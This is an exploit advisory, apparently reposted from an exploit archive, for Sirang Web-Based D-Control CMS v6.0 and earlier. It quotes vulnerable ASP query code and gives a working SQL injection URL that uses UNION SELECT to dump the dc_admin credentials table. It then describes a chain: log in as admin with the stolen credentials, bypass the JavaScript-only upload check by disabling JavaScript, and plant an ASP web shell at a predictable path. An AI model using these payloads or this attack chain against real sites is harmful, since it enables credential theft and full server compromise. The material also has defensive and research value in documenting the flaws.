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[webapps / 0day] - Sirang Web-Based D-Control Multiple Remot

Posted on 07 September 2010

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Sirang Web-Based D-Control Multiple Remote Vulnerabilities 
==========================================================

- Title  : Sirang Web-Based D-Control Multiple Remote Vulnerabilities
- Affected Version : &lt;= v6.0
- Vendor  Site   : http://www.sirang.com
 
- Discovery : Abysssec.com
 
 
 
Description :
 
this CMS suffer from OWASP top 10 !!!
some of there will come here ...
 
Vulnerabilites :
======================================================================================================================
1- SQL Injection
 
Vulnerability is located in content.asp
 
line 131-133
...
    txt=&quot;select * from news where del=&#039;false&#039; and &quot;+keyfld+&quot;!=&#039;-&#039; order by id desc limit 1&quot;
    set rs=conn.execute(txt)
    while not rs.eof
...
 
content.asp line 202-206
...
if id&lt;&gt;&quot;&quot; then
                    txt10 =&quot;select * from &quot;+ cstr(tblname) +&quot; where del=&#039;false&#039; and id=&#039;&quot;+ id +&quot;&#039;&quot;
                    set xx = conn.execute(txt10)
                    if not xx.eof then
...            
 
lots of files those will have to do input validation from user input are vulnerable to SQL Injection .
 
PoC :
www.site.com/main_fa.asp?status=news&amp;newsID=23&#039;/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/dc_admin/*
note : if you can&#039;t see result you need to do it blindly
 
 
======================================================================================================================
2- Bypass uploads restriction:
 
after you got user/pass with sql injection go to
http://site.com/admin/dc_upload.asp
 
js file line 13-34 :
 
 
function showthumb(file) {
    if (file !=&#039;&#039;) {
    myshowfile = file;
     
    extArray = new Array(&quot;.gif&quot;, &quot;.jpg&quot;, &quot;.png&quot;, &quot;.bmp&quot;, &quot;.jpe&quot;);
    allowSubmit = false;
    while (file.indexOf(&quot;\&quot;) != -1)
    file = file.slice(file.indexOf(&quot;\&quot;) + 1);
    ext = file.slice(file.indexOf(&quot;.&quot;)).toLowerCase();
    for (var i = 0; i &lt; extArray.length; i++) {
    if (extArray[i] == ext) { allowSubmit = true; break; }
    }
     
    if (allowSubmit) thumb.src=myshowfile;
    else
    alert(&quot;Only files that end in types:  &quot; + (extArray.join(&quot;  &quot;)) + &quot; could be previewd.&quot;);
    }
    else {
    alert(&quot;Only files that end in types:  &quot; + (extArray.join(&quot;  &quot;)) + &quot; could be previewd.&quot;);
    }
}
  
as you can see the uploader will check malicious extention by javascript . just disable javascript and you can upload &quot;ASP&quot; shell.
 
you can find your shell in : www.site.com/0_site_com/[rnd-number].asp (the application itself will show you right rnd number after upload)


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-07]</pre></body></html>

 

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